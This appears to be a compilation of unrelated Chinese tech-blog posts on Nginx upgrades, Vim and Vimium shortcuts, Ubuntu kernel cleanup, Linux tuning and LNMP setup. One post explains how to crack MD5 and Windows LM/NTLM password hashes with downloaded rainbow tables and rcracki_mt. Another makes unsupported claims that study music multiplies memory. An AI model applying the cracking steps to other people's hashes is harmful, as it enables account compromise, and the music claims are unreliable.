Nginx的平滑重启和平滑升级

Nginx的平滑重启

如果改变了Nginx的配置文件(nginx.conf),想重启Nginx,可以发送系统信号给Nginx主进程的方式来进行。不过,在重启之前,要确认Nginx配置文件的语法是正确的,可通过如下命令测试配置文件是否正确:

/usr/local/nginx/sbin/nginx -t -c /usr/local/nginx/conf/nginx.conf

如果配置文件不正确,屏幕会提示配置文件的第几行出错:

nginx:[emerg] invalid number of arguments in “autoindex” directive in /usr/local/nginx/conf/nginx.conf:29

nginx:configuration file /usr/local/nginx/conf/nginx.conf test failed

如果配置文件正确,屏幕将提示以下两行信息:

the configuration file /usr/local/nginx/conf/nginx.conf syntax is ok

configuration file /usr/local/nginx/conf/nginx.conf test is successful

 

这时候,就可以平滑重启了:

对于Nginx 0.8.x之前的版本 kill -HUP `cat /usr/local/nginx/nginx.pid`
对于Nginx 0.8.x之后的版本 /usr/local/webserver/nginx/sbin/nginx -s reload

 

 

Nginx的平滑升级

 

当需要将正运行的Nginx升级,可以在不中断服务的情况下进行,具体步骤如下:

1、使用新的可执行程序替换旧的可执行程序。下载新的Nginx,重新编译到旧版本的安装路径中。重编译之前,先备份一下旧的可执行文件。

 

2、执行以下指令,他将存储有旧版本主进程ID的文件重命名为.oldbin:

kill -USR2 旧版本的Nginx主进程号

一般情况下是这样的:kill -USR2 `cat /usr/local/nginx/nginx.pid`

可以用 ls /usr/local/nginx/logs来查看是否改名

3、执行新版本的Nginx可执行程序。

 

ulimit -SHn 65535

/usr/local/nginx/sbin/nginx

 

4、此时新旧版本的Nginx会同时运行,共同处理请求。要逐步停止旧版本的Nginx,必须发送WINCH信号给旧的主进程。然后,他的工作进程将从容关闭。

kill -WINCH 旧版本的Nginx主进程号

 

5、一段时间后,旧的工作进程处理完了所有的请求后退出,仅由新的进程来处理输入请求了。可用下面的命令查看:

ps -ef | grep nginx

 

6、现在可以决定使用新版本还是恢复到旧版本:

kill -HUP 旧的主进程号 :Nginx在不重载配置文件的情况下启动他的工作进程

kill -QUIT 新的主进程号  :从容关闭其工作进程

kill -TERM 新的主进程号 :强制退出

kill 新的主进程号或旧的主进程号:如果因为某些原因新的工作进程不能退出,则向其发送kill信号

 

新的主进程退出后,旧的主进程会移除.oldbin后缀,恢复为他的.pid文件,这样,一切就都恢复为升级之前了。
如果尝试升级成功,而自己又希望保留新版本时,可发送QUIT信号给旧的主进程,使其退出而只留下新的进程运行:kill -QUIT 旧主进程号

 

 

附:Nginx的信号控制

Nginx支持以下几种信号:

TERM,INT 快速关闭

QUIT 从容关闭

HUP 平滑重启,重新加载配置文件

USR1 重新打开日志文件,在切割日志时用途较大

USR2 平滑升级克执行程序

WINCH 从容关闭工作进程

100个常用的VIM命令

Basics

 

:e filename Open filename for edition
:w Save file
:q Exit Vim
:w! Exit Vim without saving

Search

 

/word Search word from top to bottom
?word Search word from bottom to top
/jo[ha]n Search john or joan
/\< the Search the, theatre or then
/the\> Search the or breathe
/\< the\> Search the
/\< ¦.\> Search all words of 4 letters
/\/ Search fred but not alfred or frederick
/fred\|joe Search fred or joe
/\<\d\d\d\d\> Search exactly 4 digits
/^\n\{3} Find 3 empty lines
:bufdo /searchstr/ Search in all open files

Replace

 

:%s/old/new/g Replace all occurences of old by new in file
:%s/old/new/gw Replace all occurences with confirmation
:2,35s/old/new/g Replace all occurences between lines 2 and 35
:5,$s/old/new/g Replace all occurences from line 5 to EOF
:%s/^/hello/g Replace the begining of each line by hello
:%s/$/Harry/g Replace the end of each line by Harry
:%s/onward/forward/gi Replace onward by forward, case unsensitive
:%s/ *$//g Delete all white spaces
:g/string/d Delete all lines containing string
:v/string/d Delete all lines containing which didn’t containstring
:s/Bill/Steve/ Replace the first occurence of Bill by Steve in current line
:s/Bill/Steve/g Replace Bill by Steve in current line
:%s/Bill/Steve/g Replace Bill by Steve in all the file
:%s/\r//g Delete DOS carriage returns (^M)
:%s/\r/\r/g Transform DOS carriage returns in returns
:%s#<[^>]\+>##g Delete HTML tags but keeps text
:%s/^\(.*\)\n\1$/\1/ Delete lines which appears twice
Ctrl+a Increment number under the cursor
Ctrl+x Decrement number under cursor
ggVGg? Change text to Rot13

Case

 

Vu Lowercase line
VU Uppercase line
g~~ Invert case
vEU Switch word to uppercase
vE~ Modify word case
ggguG Set all text to lowercase
:set ignorecase Ignore case in searches
:set smartcase Ignore case in searches excepted if an uppercase letter is used
:%s/\<./\u&/g Sets first letter of each word to uppercase
:%s/\<./\l&/g Sets first letter of each word to lowercase
:%s/.*/\u& Sets first letter of each line to uppercase
:%s/.*/\l& Sets first letter of each line to lowercase

Read/Write files

 

:1,10 w outfile Saves lines 1 to 10 in outfile
:1,10 w >> outfile Appends lines 1 to 10 to outfile
:r infile Insert the content of infile
:23r infile Insert the content of infile under line 23

File explorer

 

:e . Open integrated file explorer
:Sex Split window and open integrated file explorer
:browse e Graphical file explorer
:ls List buffers
:cd .. Move to parent directory
:args List files
:args *.php Open file list
:grep expression *.php Returns a list of .php files contening expression
gf Open file name under cursor

Interact with Unix

 

:!pwd Execute the pwd unix command, then returns to Vi
!!pwd Execute the pwd unix command and insert output in file
:sh Temporary returns to Unix
$exit Retourns to Vi

Alignment

 

:%!fmt Align all lines
!}fmt Align all lines at the current position
5!!fmt Align the next 5 lines

Tabs

 

:tabnew Creates a new tab
gt Show next tab
:tabfirst Show first tab
:tablast Show last tab
:tabm n(position) Rearrange tabs
:tabdo %s/foo/bar/g Execute a command in all tabs
:tab ball Puts all open files in tabs

Window spliting

 

:e filename Edit filename in current window
:split filename Split the window and open filename
ctrl-w up arrow Puts cursor in top window
ctrl-w ctrl-w Puts cursor in next window
ctrl-w_ Maximise current window
ctrl-w= Gives the same size to all windows
10 ctrl-w+ Add 10 lines to current window
:vsplit file Split window vertically
:sview file Same as :split in readonly mode
:hide Close current window
:­nly Close all windows, excepted current
:b 2 Open #2 in this window

Auto-completion

 

Ctrl+n Ctrl+p (in insert mode) Complete word
Ctrl+x Ctrl+l Complete line
:set dictionary=dict Define dict as a dictionnary
Ctrl+x Ctrl+k Complete with dictionnary

Marks

 

mk Marks current position as k
˜k Moves cursor to mark k
d™k Delete all until mark k

Abbreviations

 

:ab mail mail@provider.org Define mail as abbreviation of mail@provider.org

Text indent

 

:set autoindent Turn on auto-indent
:set smartindent Turn on intelligent auto-indent
:set shiftwidth=4 Defines 4 spaces as indent size
ctrl-t, ctrl-d Indent/un-indent in insert mode
>> Indent
<< Un-indent

Syntax highlighting

 

:syntax on Turn on syntax highlighting
:syntax off Turn off syntax highlighting
:set syntax=perl Force syntax highlighting

如何用彩虹表破解MD5、LM Hash等复杂加密密码

一、什么是彩虹表?
彩虹表(Rainbow Tables)就是一个庞大的、针对各种可能的字母组合预先计算好的哈希值的集合,不一定是针对MD5算法的,各种算法的都有,有了它可以快速的破解各类密码。越是复杂的密码,需要的彩虹表就越大,现在主流的彩虹表都是100G以上。

二、上哪找彩虹表去?
现在有很多大牛已经把自己的彩虹表共享出来了,所以你可以去下载。还有一种方法就是自己通过工具生成。
不过自己生成有点不切合实际,生成小的彩虹表吧数据少,可以破解密码的位数少(复杂程度低),而且费时费力,4核4GB内存的机器,生成2GB彩虹表,需要花费7天时间,而7天按1MB的带宽(160K/S左右)几乎可以下载30GB左右。
生成的工具可以用RainbowCrack也可以用Cain。网上很容易搜索到下载地址的。

下载彩虹表:

1、MD5的彩虹表
工具推荐:Free Rainbow Tables
ftp:
ftp://tbhost.eu/
user:download
pass:Tx50AbsBHq7Nya7n9weW
http:
http://tbhost.eu/rt.php
http://freerainbowtables.mirror.garr.it/mirrors/freerainbowtables/
提供了多种类型的彩虹表下载,LM、NTLM、MD5、SHA1等。千万别把人家法语字符的表也下了,对国人来说,几乎没什么用,不过如果你有特殊需要,那就下吧……这里提供的都是.rti格式的,有别于传统的.ri格式,.rti比.rt的多了一个目录.index文件,据说遍列速度比.rt的更快(未曾对比过,无法确定是否属实)。把你想要用的那个表下载下来,然后下载读取彩虹表的工具:rcracki_mt.exe
把此工具及相关的dll文件复制到彩虹表所在目录,然后运行命令“F:\MD5>rcracki_mt.exe -h 3787795aeee01c9ab7267f252c932572 *.rti”就会开始破解(只能是32位密文)。漏洞之家http://bbs.3344.eu

2、LM-HASH的彩虹表(Windows登录密码)
工具推荐:ophcrack
http://ophcrack.sourceforge.net/download.php
这个是Ophcrack XP Special Tables。一般非Vista的密码Hash,用它能破绝大部分,但在使用过程中也有发现有小部分Hash正确,但无法破解的。
这是Ophcrack Vista Special NTHASH的。官方是收费的表,不过国外共享了,也就可以免费得到了。如果这些表都跑不出来,而你又确定你的Hash没有搞错的话,那么只能找LC5出马了,LC5是一定能破的,只是时间有点久!
其他工具还有一些,大家自己找找吧。不过这两个是经典的常用彩虹表。CMD5,或者Xmd5网站都开始收费了。大家还是自己拿机器跑吧!

Chrome扩展Vimium按键列表

From https://github.com/philc/vimium/blob/master/README.markdown

注意!!!所有快捷键使用钱请关闭中文输入法!!!

Keyboard Bindings

键盘绑定

Modifier keys are specified as  , , for ctrl+x, meta+x, and alt+x respectively. See the next section for instructions on modifying these bindings.

修饰符键用类似于 (ctrl+x) (meta+x), (alt+x)的标记指明。下一个章节介绍修改这些绑定的方法。

Navigating the current page:

在当前页面内导航

? show the help dialog for a list of all available keys

显示可用的按键帮助列表
h scroll left

向左滚动
j scroll down

向下滚动
k scroll up

向上滚动
l scroll right

向右滚动
gg scroll to top of the page

滚动到页面顶端
G scroll to bottom of the page

滚动到页面底端
d scroll down half a page

向下滚动半页  //这里的半页指的是屏幕显示的页面高度的一半,下同
u scroll up half a page

向上滚动半页
f open a link in the current tab

在当前Tab打开链接  //前提是链接本身没有New Tab
F open a link in a new tab

在新Tab中打开链接
r reload

刷新
gs view source

查看源代码
i enter insert mode — all commands will be ignored until you hit esc to exit

进入编辑模式 — 会忽略所有的命令,直到你点击Esc键来退出编辑模式
yy copy the current url to the clipboard

复制当前链接到剪贴板  //当前链接指的是当前网页的链接
yf copy a link url to the clipboard

复制当前页面的一个链接到剪贴板
gf cycle forward to the next frame

这个没明白是干什么的。。。

Using find:

使用查找

/ enter find mode — type your search query and hit enter to search or esc to cancel

进入查找模式 — 输入你要搜索的词汇并敲击回车来进行查找,敲击Esc取消查找。
n cycle forward to the next find match

向后循环查找匹配的字串
N cycle backward to the previous find match

向前循环查找匹配的字串

Navigating your history:

在浏览历史中导航  //因为我装了Better History插件,所以这两个键没有试验是干嘛的。只是按英文直译。

H go back in history

回退
L go forward in history

前进

Manipulating tabs:

操纵标签

J, gT go one tab left

到左边一个标签。逗号是or的意思。下同。
K, gt go one tab right

到右边一个标签。
g0 go to the first tab

到第一个标签。
g$ go to the last tab

到最后一个标签。
t create tab

新建标签。
x close current tab

关闭当前标签。
X restore closed tab (i.e. unwind the ‘x’ command)

恢复关闭的标签。(即取消’x’命令)

Additional advanced browsing commands:

附加的高级浏览命令  //这几个不翻译了因为不知道是要干什么。。。改天试试再说。

]] Follow the link labeled ‘next’ or ‘>’. Helpful for browsing paginated sites.
[[ Follow the link labeled ‘previous’ or ‘ open multiple links in a new tab
gi focus the first (or n-th) text input box on the page
gu go up one level in the URL hierarchy
zH scroll all the way left
zL scroll all the way right
Vimium supports command repetition so, for example, hitting ‘5t’ will open 5 tabs in rapid succession. ESC (or) will clear any partial commands in the queue and will also exit insert and find modes.

Vimium支持命令重复,例如敲击’5t’将会快速连续打开5个窗口。ESC 会清除队列中部分指令并且会同时退出插入和搜索模式。

Custom Key Mappings

自定义按键表

You may remap or unmap any of the default key bindings in the “Key mappings” section under “Advanced Options” on the options page.

你可以在 选项 页面的”Advanced Options”,”Key mappings”中重映射或者取消任何默认的按键绑定。

Enter one of the following key mapping commands per line:

每行出入下列按键映射指令的一个:

map key command: Maps a key to a Vimium command. Overrides Chrome’s default behavior (if any).

把一个键映射到Vimiun命令。覆盖Chrome的默认按键设置(如果有)。
unmap key: Unmaps a key and restores Chrome’s default behavior (if any).

取消一个按键的映射并恢复Chrome的默认设置(如果有)。
unmapAll: Unmaps all bindings. This is useful if you want to completely wipe Vimium’s defaults and start from scratch with your own setup.

取消所有按键映射。这条语句在你想完全抹除Vimiun的默认设置并且想从头开始时使用。
Examples:

例:

map scrollPageDown maps ctrl+d to scrolling the page down. Chrome’s default behavior of bringing up a bookmark dialog is suppressed.

把 ctrl+d按键的动作映射到向下滚动页面。Chrome默认的加入到书签的快捷键会被覆盖。
map r reload maps the r key to reloading the page.

把r键映射为刷新页面。
unmap  removes any mapping for ctrl+d and restores Chrome’s default behavior.

取消ctrl+d的任何映射并恢复Chrome的默认设置。
unmap r removes any mapping for the r key.

取消r键的任何映射。
Available Vimium commands can be found via the “Show Available Commands” link near the key mapping box. The command name appears to the right of the description in parenthesis.

提供的Vimiun命令可通过单机key mapping box旁边的”Show Available Commands”查看。命令的名字写在在命令描述右边的括号中。

You can add comments to your key mappings by starting a line with ” or #.

你可以在你的键位映射中用”或#来编写注释。

The following special keys are available for mapping:

下面这些特殊的功能键可以用来映射:

 for ctrl, alt, and meta (command on Mac) respectively with any key. Replace * with the key of choice.

 分别表示 ctrl, alt, and meta (Mac 上的特殊键) 加上任意键. 用你想用的按键替换*。
 for the arrow keys

 代表方向键。
 through  for the function keys

 到 代表键盘顶部的功能键。
Shifts are automatically detected so, for example,  corresponds to ctrl+shift+7 on an English keyboard.

Shift键可以自动检测到。比如: 在英语键盘上对应 ctrl+shift+7

 

删除 Ubuntu Linux 系统旧内核的方法

  使用Ubuntu一段时间后,就会发觉由于自动升级,系统里安装了很多内核。像我,竟然安装了下面那么多,这个造成了漫长的启动列表。必须删掉一些不用的。

  首先就是使用如下命令,列出所有安装的内核,下表中,带有image的就是内核文件。从中选择要卸载的包,用apt-get来卸载:

[tc@ibm:~]$ dpkg --get-selections|grep linux
libselinux1 install
linux-386 install
linux-image-2.6.15-23-386 install
linux-image-2.6.15-27-386 install
linux-image-2.6.15-27-686 install
linux-image-2.6.15-28-386 install
linux-image-2.6.15-28-686 deinstall
linux-image-386 install
linux-kernel-headers install
linux-restricted-modules-2.6.15-23-386 install
linux-restricted-modules-2.6.15-27-386 install
linux-restricted-modules-2.6.15-27-686 install
linux-restricted-modules-2.6.15-28-386 install
linux-restricted-modules-2.6.15-28-686 deinstall
linux-restricted-modules-386 install
linux-restricted-modules-common install
linux-sound-base install
util-linux install

  具体的卸载方法为

sudo apt-get remove linux-image-2.6.15-23-386

  这样就可以实现自动删除内核文件了,还可以释放磁盘空间。

  另外还要记录一个命令。

uname -a

  使用这个命令可以查看当前系统使用的内核。

适合写作业时听的歌❀。(高效学习)

音乐中60拍的高频音乐,这种音乐学习可以让你:
1、快速完成作业,学习速度将提高2—10倍;
2、大脑充满活力,思维敏捷,常有灵感出现;
3、延长注意力集中的时间,提升理解能力;
4、进入最佳的学习状态,沉浸在学习的快乐之中;
5、缓解学习压力增强体质,激发创造力。
二、超级记忆音乐
这是巴洛克音乐中60拍的非高频音乐,在这种音乐中进行理解、思考、背诵可以让你:
1、头脑聪明,记忆力提高5-10倍,充分开发记忆潜能;
2、轻轻松松记忆大量内容;
3、巩固记忆效果,使学习过的内容保持长期不忘;
4、注意力更集中,有效排除外界干扰;
5、心情轻松应考,超常发挥,获得高分。
三、适用对象
1、在校大、中、小学生、研究生、成人高考、自考和职称考级人员;
2、需要大量记忆背诵外语单词、课文者;
3、需要背诵记忆文理科复习题、法律条文、竞赛题者及准备应付各种考试的人员;
4、需要记忆大量汉字的儿童;
5、需要记忆符号、图表、密码、字根等各界人士;
6、需要改善提高记忆力的中、老年朋友。
四、注意事项
本音乐在作背景音乐时,音量在30-40分贝左右,隐隐约约即可。

其实呢,并不是如上所说的巴洛克时期的音乐才有这神奇的效果,不同的音乐可以达到不同的效果,不同性格的人需要不同的音乐。下面给大家推荐一些很好的音乐。(QQ音乐中都可以搜索得到)

数学:学习数学需要的是内心的平静但不时的也需要灵感的涌流,所以推荐一些既安静又不失趣味的歌曲.全部都是无歌词的歌曲,毫无疑问歌词会影响到我们的几何或逻辑思维.

1.Summer-久石让   2.流动的城市-林海    3.夜曲-纯音乐    4.The rain-久石让   5.Snowdreams-班得瑞

6.The Truth That You Leave-piano boy   7.songs from a secret garden-神秘园  8.杨柳-范宗沛

理化:理化公式和理论的结合,可以用一些稍明朗欢快的歌曲或带歌词的轻音乐来激发它的趣味性,提高书写计算的效率.

1.回梦游仙(力荐)-仙剑奇侠传4   2.爱的筵席(LOVE SONGS FEAST)-莎拉布莱曼    3.Craigie Hill-Cara Dillon

4.valder fields-Tamas Wells    5.Inside-Bang Gang    6.Tango in my heart-QQ音速(爆好听,上网查)

7.Dying In The Sun -小红莓     8.Nocturne-神秘园   9.May It Be-恩雅  10.30 Minutes – T.a.T.u

语文:语文没有什么特别的限制,只要不是中文歌词都可以.歌曲就不做推荐了,上面的都可以.

英语:不像语文,英文歌词不仅不会影响到学习英语,也许还在不经意之间惯了耳音呢!除背单词时需要无歌词的低频率音乐,别的时候听上面的歌都是可以的,下面再推荐一些英文学习感到疲惫无聊时或想加快速度时的歌曲.

1.Chocolate Ice (听身体唱歌)- 卫兰  2.Beat It -MJ  3.Heal The World – MJ  4.don’t cry – 枪花

5.Anything But Ordinary – 艾薇儿  6.Nobody’s A Nun – 王若琳  7.Behind Blue Eyes – Limp Bizkit

8.Zombie – 小红莓  9.Time after time – 仓木麻衣(柯南) 10.remember the name – 林肯公园

政史:自由发挥的时候到了,喜欢的歌都打开吧,应付作业的放快歌,巩固知识的放慢歌,心情好才是最终目的。没什么好说的,推荐几首被遗忘的经典老歌。

1.旅行的意义 – 陈绮贞  2.彩虹天堂 – 刘畊宏  3.太早 – 刘允乐  4.心里有个他 – 俞思远  5.白月光 – 张信哲

6.天天想你 – 张雨生  7.我爱你 – 王菲  8.宝贝 – 张悬  9.Forever Now – Bang Gang  10.借我一生 – 水木年华

11.独立 – 蜜雪薇琪  12.Trouble Is a Friend – Lenka

切记:做一项作业时不能换歌,让你的脑神经和这首歌形成链接,听之前要先把歌听熟,声音放的若隐若现,别坐在电脑旁,有一定的距离感最好。你的目的不是听歌,而是提高学习效率,心态要放端正,如果觉得歌曲让你有任何不适千万别犹豫关了它。

系统调优之LINUX优化

所有的TCP/IP调优参数都位于/proc/sys/net/目录. 例如, 下面是最重要的一些调优参数, 后面是它们的含义:
1. /proc/sys/net/core/rmem_max — 最大的TCP数据接收缓冲
2. /proc/sys/net/core/wmem_max — 最大的TCP数据发送缓冲
3. /proc/sys/net/ipv4/tcp_timestamps — 时间戳在(请参考RFC 1323)TCP的包头增加12个字节
4. /proc/sys/net/ipv4/tcp_sack — 有选择的应答
5. /proc/sys/net/ipv4/tcp_window_scaling — 支持更大的TCP窗口. 如果TCP窗口最大超过65535(64K), 必须设置该数值为1
6. rmem_default — 默认的接收窗口大小
7. rmem_max — 接收窗口的最大大小
8. wmem_default — 默认的发送窗口大小
9. wmem_max — 发送窗口的最大大小
/proc目录下的所有内容都是临时性的, 所以重启动系统后任何修改都会丢失.
建议在系统启动时自动修改TCP/IP参数:
把下面代码增加到/etc/rc.local文件, 然后保存文件, 系统重新引导的时候会自动修改下面的TCP/IP参数:
echo 256960 > /proc/sys/net/core/rmem_default
echo 256960 > /proc/sys/net/core/rmem_max
echo 256960 > /proc/sys/net/core/wmem_default
echo 256960 > /proc/sys/net/core/wmem_max
echo 0 > /proc/sys/net/ipv4/tcp_timestamps
echo 1 > /proc/sys/net/ipv4/tcp_sack
echo 1 > /proc/sys/net/ipv4/tcp_window_scaling
TCP/IP参数都是自解释的, TCP窗口大小设置为256960, 禁止TCP的时间戳(取消在每个数据包的头中增加12字节), 支持更大的TCP窗口和TCP有选择的应答.
上面数值的设定是根据互连网连接和最大带宽/延迟率来决定.
注: 上面实例中的数值可以实际应用, 但它只包含了一部分参数.
另外一个方法: 使用 /etc/sysctl.conf 在系统启动时将参数配置成您所设置的值:
net.core.rmem_default = 256960
net.core.rmem_max = 256960
net.core.wmem_default = 256960
net.core.wmem_max = 256960
net.ipv4.tcp_timestamps = 0
net.ipv4.tcp_sack =1
net.ipv4.tcp_window_scaling = 1
—————————————————————————————————————————-
二、文件及文件系统调谐
块大小
使用较大的块大小将得到较好的性能。将ext2文件系统的块大小调整为4096byte而不是缺省的1024byte,可以减少文件碎片,另外,在ext2的文件系统中,为根目录保留了5%的空间,对一个大的文件系统,除非用作日志文件,5%的比例有些过多。可以使用命令”# mke2fs -b 4096 -m 1 /dev/hda6″将它改为1%并以块大小4096byte创建文件系统。如果系统用作邮件或者新闻服务器,使用较大的块大小,虽然性能有所提高,但会造成磁盘空间较大的浪费。比如文件系统中的文件平均大小为2145byte,如果使用4096byte的块大小,平均每一个文件就会浪费1951byte 空间。如果使用1024byte的块大小,平均每一个文件会浪费927byte空间。在性能和磁盘的代价上如何平衡,要看具体应用的需要。
调整缓冲区刷新参数
Linux内核中,包含了一些对于系统运行态的可设置参数。缓冲刷新的参数可通过
/proc/sys/vm/bdflush文件来完成,这个文件的格式是这样的:
# more /proc/sys/vm/bdflush
40 0 0 0 500 3000 60 0 0
第一个数:在”dirty”缓冲区达到多少的时候强制唤醒bdflush进程刷新硬盘,
第二个数:每次让bdflush进程刷新多少个dirty块。所谓dirty块是必须写到磁盘中的缓存块。接下的数:每次允许bd flush将多少个内存块排入空闲的缓冲块列表。
修改方法
# echo “100 128 128 512 5000 3000 60 0 0″>/proc/sys/vm/bdflush 并将这条命令加到/etc/rc.d/rc.local文件中去。
以上的设置加大了缓冲区大小,降低了bdflush被启动的频度,同时也增加了万一系统崩溃丢失数据的危险性。VFS的缓冲刷新是Linux文件系统高效的重要原因之一。
调整文件句柄数和i-节点数
在Linux内核2.4.x中需要修改源代码,然后重新编译内核才生效。编辑Linux内核源代码中的
include/linux/fs.h文件,将 NR_FILE 由8192改为 65536,将NR_RESERVED_FILES 由10 改为 128。编辑fs/inode.c 文件将 MAX_INODE 由16384改为262144。
一般情况下,最大打开文件数比较合理的设置为每4M物理内存256,比如256M内存可以设为16384,而最大的使用的i节点的数目应该是最大打开文件数目的3倍到4倍。
三、其它方面的调谐
调谐buffermem
文件buffermen和内核虚拟内存子系统密切相关。文件/proc/sys/vm/buffermem控制多大内存被用于缓冲区(百分数表示)。内核2.4的缺省值为:: “2 10 60″。可以按如下方法修改:
# echo “70 10 60″ >/proc/sys/vm/buffermem
并将之加到脚本文件/etc/rc.d/rc.local 中。或者在/etc/sysctl.conf文件中加入
vm.buffermem = 70 10 60
第一个参数 70意味着至少分配70%的内存用作缓冲区。后两个参数保持系统的默认值。第一个参数设置为多大合适,依赖于系统的内存大小和系统高负载时内存的使用情况(可用free监视)。
进程限制
Linux对于每个用户,系统限制其最大进程数。为提高性能,可以设置超级用户root的最大进程数为无限。编辑.bashrc文件(vi /root/.bashrc)增加行”ulimit -u unlimited”即可消除超级用户的进程限制。
核心和系统对用户进程其它的一些限制也可以通过ulimit命令来查看和更改。”ulimit -a” 用来显示当前的各种用户进程限制。一些更改用户限制的例子如下:
ulimit -n 4096 将每个进程可以打开的文件数目加大到4096,缺省为1024
ulimit -m 4096 限制每个进程使用的内存数。
优化gcc编译
将优化标志放在/etc/profile文件中。在pentium III级的处理器上使用以下优化标志将得到最优的应用程序:
CFLAGS=-O9 -funroll-loops -ffast-math -malign-double -mcpu=pentiumpro -march=pentiumpro -fomit-frame-pointer -fno-exceptions
再将如下行加到/etc/profile 更靠后的位置:
export PATH PS1 HOSTNAME HISTSIZE HISTFILESIZE USER LOGNAME MAIL INPUTRC CFLAGS LANG LESSCHARSET使用以上的优化,gcc或者egcs编译的程序将得到最佳的性能。
—————————————————————————————————————————-
/proc/sys/kernel/shmall
该文件是在任何给定时刻系统上可以使用的共享内存的总量(以字节为单位)。
缺省设置:2097152
/proc/sys/kernel/shmax
该文件指定内核所允许的最大共享内存段的大小(以字节为单位)。
缺省设置:33554432
/proc/sys/kernel/shmmni
该文件表示用于整个系统共享内存段的最大数目。
缺省设置:4096
/proc/sys/kernel/threads-max
该文件指定内核所能使用的线程的最大数目。
缺省设置:2048
/proc/sys/net/core/netdev_max_backlog
该文件指定了,在接口接收数据包的速率比内核处理这些包的速率快时,允许送到队列的数据包的最大数目。
缺省设置:300
/proc/sys/net/core/optmem_max
该文件指定了每个套接字所允许的最大缓冲区的大小。
/proc/sys/net/core/rmem_default
该文件指定了接收套接字缓冲区大小的缺省值(以字节为单位)。
/proc/sys/net/core/rmem_max
该文件指定了接收套接字缓冲区大小的最大值(以字节为单位)。
/proc/sys/net/core/wmem_default
该文件指定了发送套接字缓冲区大小的缺省值(以字节为单位)。
/proc/sys/net/core/wmem_max
该文件指定了发送套接字缓冲区大小的最大值(以字节为单位)。
/proc/sys/net/ipv4
所有 IPv4 和 IPv6 的参数都被记录在内核源代码文档中。请参阅文件 /usr/src/linux/Documentation/networking/ip-sysctl.txt。
/proc/sys/net/ipv6
同 IPv4。
/proc/sys/vm
/proc/sys/vm/buffermem
该文件控制用于缓冲区内存的整个系统内存的数量(以百分比表示)。它有三个值,通过把用空格相隔的一串数字写入该文件来设置这三个值。
用于缓冲区的内存的最低百分比
如果发生所剩系统内存不多,而且系统内存正在减少这种情况,系统将试图维护缓冲区内存的数量。
用于缓冲区的内存的最高百分比
缺省设置:2 10 60
/proc/sys/vm/freepages
该文件控制系统如何应对各种级别的可用内存。它有三个值,通过把用空格相隔的一串数字写入该文件来设置这三个值。
如果系统中可用页面的数目达到了最低限制,则只允许内核分配一些内存。
如果系统中可用页面的数目低于这一限制,则内核将以较积极的方式启动交换,以释放内存,从而维持系统性能。
内核将试图保持这个数量的系统内存可用。低于这个值将启动内核交换。
缺省设置:512 768 1024
/proc/sys/vm/kswapd
该文件控制允许内核如何交换内存。它有三个值,通过把用空格相隔的一串数字写入该文件来设置这三个值:
内核试图一次释放的最大页面数目。如果想增加内存交换过程中的带宽,则需要增加该值。
内核在每次交换中试图释放页面的最少次数。
内核在一次交换中所写页面的数目。这对系统性能影响最大。这个值越大,交换的数据越多,花在磁盘寻道上的时间越少。然而,这个值太大会因“淹没”请求队列而反过来影响系统性能。
缺省设置:512 32 8
/proc/sys/vm/pagecache
该文件与 /proc/sys/vm/buffermem 的工作内容一样,但它是针对文件的内存映射和一般高速缓存。
使内核设置具有持久性
这里提供了一个方便的实用程序,用于更改 /proc/sys 目录下的任何内核参数。它使您可以更改运行中的内核(类似于上面用到的 echo 和重定向方法),但它还有一个在系统引导时执行的配置文件。这使您可以更改运行中的内核,并将这些更改添加到配置文件,以便于在系统重新引导之后,这些更改仍然生效。
该实用程序称为 sysctl,在 sysctl(8) 的联机帮助页中,对这个实用程序进行了完整的文档说明。sysctl 的配置文件是 /etc/sysctl.conf,可以编辑该文件,并在 sysctl.conf(8) 下记录了该文件。sysctl 将 /proc/sys 下的文件视为可以更改的单个变量。所以,以 /proc/sys 下的文件 /proc/sys/fs/file-max 为例,它表示系统中所允许的文件句柄的最大数目,这个文件被表示成 fs.file-max。
这个示例揭示了 sysctl 表示法中的一些奇妙事情。由于 sysctl 只能更改 /proc/sys 目录下的变量,并且人们始终认为变量是在这个目录下,因此省略了变量名的那一部分(/proc/sys)。另一个要说明的更改是,将目录分隔符(正斜杠 /)换成了英文中的句号(点 .)。
将 /proc/sys 中的文件转换成 sysctl 中的变量有两个简单的规则:
去掉前面部分 /proc/sys。
将文件名中的正斜杠变为点。
这两条规则使您能将 /proc/sys 中的任一文件名转换成 sysctl 中的任一变量名。一般文件到变量的转换为:
/proc/sys/dir/file –> dir.file
dir1.dir2.file –> /proc/sys/dir1/dir2/file
可以使用命令 sysctl -a 查看所有可以更改的变量和其当前设置。
用 sysctl 还可以更改变量,它所做的工作与上面所用的 echo 方法完全一样。其表示法为:
sysctl -w dir.file=”value”
还是用 file-max 作为示例,使用下面两种方法中的一种将该值更改为 16384。
—————————————————————————————————————————–
LINUX系统调优记录:
解决 “dst cache overflow” 报警问题
OS:centos4.3
1.可以改变滑动窗口的大小 (默认应该就是“1”)
echo “1” > /proc/sys/net/ipv4/tcp_window_scaling
2.修改内核共享内存限制为256M,默认才2M
echo 268435456 >/proc/sys/kernel/shmall
echo 268435456 >/proc/sys/kernel/shmmax
3。可使用的代理端口
echo “1024 65000” > /proc/sys/net/ipv4/ip_local_port_range
4.禁止广播和ping入
echo “1” > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
echo “1” > /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses
5./proc/sys/net/ipv4/netfilter/ip_conntrack_max 改大到 268435456 默认只有65536
6.echo “1800” > /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_timeout_established
默认确立连接会在5天后失效,改为半小时后失效,减少ip_conntrack的有效连接数量。
7.echo 1 > /proc/sys/net/ipv4/tcp_syncookies
防范SYN DDOS攻击,打开TCPsyncookies,CENTOS4的内核是支持的。
8.echo 2048 > /proc/sys/net/ipv4/tcp_max_syn_backlog
SYN列队长度,不要设置太高,会消耗相应的内存。
9.echo 3 > /proc/sys/net/ipv4/tcp_synack_retries
SYN重试次数。
10.echo 3 > /proc/sys/net/ipv4/tcp_syn_retries
SYN重试次数。

Ubuntu server 安装与配置lnmp并安装wordpress

Ubuntu 10.04.1 LTS下安装与配置LNMP环境,所谓的LNMP就是Linux+Nginx+Mysql+PHP.

1.首先安装nginx

root@lnmp:/home/windonly# apt-get install nginx
root@lnmp:/home/windonly# service nginx start

目前官方源提供的版本是:0.7.65,通过访问80端口可以测试是否安装成功。

2.安装MySql

通过执行apt-get install mysql-server命令后自动下载mysql,然后安装提示配置好mysql root密码。

 

3.安装PHP5+php5-fpm

